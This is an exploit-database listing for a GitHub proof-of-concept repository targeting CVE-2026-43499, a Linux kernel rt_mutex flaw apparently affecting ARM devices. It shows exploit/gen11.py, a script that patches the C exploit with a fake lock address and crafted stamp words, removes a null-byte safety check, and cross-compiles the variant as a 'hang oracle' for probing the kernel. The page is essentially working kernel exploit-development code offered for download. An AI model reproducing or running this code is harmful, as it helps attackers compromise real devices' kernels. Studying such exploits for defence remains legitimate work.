Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/gen11.py

Python · 1,913 bytes
#!/usr/bin/env python3
# go11: hang oracle. FAKE lock ticket word (X+0) is deliberately nonzero
# (points at nodename+0 = "localhost"). If rt_mutex_adjust_prio_chain reaches
# raw_spin_trylock(FAKE), sched_setattr spins in-kernel forever (observable
# hang). If the adjust_pi guard exits early, it returns normally.
import os, subprocess, sys
os.chdir('/mnt/d/project/ow/ghostlock-cve-2026-43499/exploit')
src = open('ghostlock_oppo8b.c').read()  # 500ms
src = src.replace('#define FAKE_LOCK           0xc1420394',
                  '#define FAKE_LOCK           0xc1b11464  /* init_uts_ns nodename+0 */')
assert '0xc1b11464' in src
prio = sys.argv[1] if len(sys.argv) > 1 else '01010101'
suffix = sys.argv[2] if len(sys.argv) > 2 else '11'
old = '''    uint32_t task = INIT_TASK;
    uint32_t lock = FAKE_LOCK;
    uint32_t prio = 0x01010101;
    uint8_t  pad[3] = {0x01, 0x01, 0x01};

    /* Phase 1: chain traversal stamp */
    memcpy(stamp_phase1 + 0, &task, 4);
    memcpy(stamp_phase1 + 4, &lock, 4);
    memcpy(stamp_phase1 + 8, &prio, 4);
    memcpy(stamp_phase1 + 12, pad, 3);
    stamp_phase1[15] = '\\0';'''
new = '''    {
      uint32_t w0=0xc1b11640, w1=0xc1b11464, w2=0x%su, w3=0x00010101;
      memcpy(stamp_phase1+0,&w0,4);
      memcpy(stamp_phase1+4,&w1,4);
      memcpy(stamp_phase1+8,&w2,4);
      memcpy(stamp_phase1+12,&w3,4);
      stamp_phase1[15]='\\0';
    }''' % prio
assert old in src
src = src.replace(old, new)
chk = '''        if (stamp_phase1[i] == 0) {
            fprintf(stderr, "[-] phase1 stamp has null byte at offset %d\\n", i);
            exit(1);
        }
'''
src = src.replace(chk, '')
open('ghostlock_oppo%s.c' % suffix, 'w').write(src)
r = subprocess.run(['arm-linux-gnueabihf-gcc','-static','-O2','-o','go'+suffix,
                    'ghostlock_oppo%s.c'%suffix,'-lpthread'], capture_output=True, text=True)
print('go'+suffix, 'rc=', r.returncode, r.stderr[-300:])